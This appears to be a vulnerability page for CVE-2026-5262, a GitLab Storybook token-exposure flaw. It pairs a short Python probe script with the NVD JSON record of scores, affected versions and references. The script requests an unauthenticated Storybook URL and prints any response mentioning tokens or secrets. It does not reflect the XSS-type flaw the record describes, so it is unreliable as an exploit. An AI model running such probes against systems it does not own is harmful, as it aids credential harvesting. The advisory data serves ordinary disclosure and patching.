CVE-2026-5262

import requests # Target URL pointing to the vulnerable Storybook instance target_url = "http://target-gitlab-instance:3001/stories" # Send an unauthenticated GET request to access the environment try: response = requests.get(target_url, timeout=10) # Check if the response contains sensitive tokens or keys if response.status_code == 200: print("[+] Successfully connected to Storybook environment.") if "token" in response.text.lower() or "secret" in response.text.lower(): print("[+] Potential token leakage detected in response.") print(f"[+] Content snippet: {response.text[:500]}") else: print("[-] No obvious tokens found, but manual inspection recommended.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-5262", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:44.437", "lastModified": "2026-04-23T20:38:56.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 16.1.0 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that under certain conditions could have allowed an unauthenticated user to access tokens in the Storybook development environment due to improper input validation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "F3F88F81-2243-4313-A2BE-831156C31094"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "724502CD-C6FC-4080-8D82-5465B8FD6AB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "98D16D9B-6A45-45F3-934B-3ED95C8371BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "58B8096F-9D7B-403D-B685-E9D4FA24F3E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:*", "matchCriteriaId": "A6100523-821F-4F41-872D-AC5A60EECC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "C78F9577-CDD5-497B-A92F-3C578AC6709E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/22/patch-release-gitlab-18-11-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/595332", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3574642", "source": "[email protected]", "tags": ["Permissions Required"]}]}}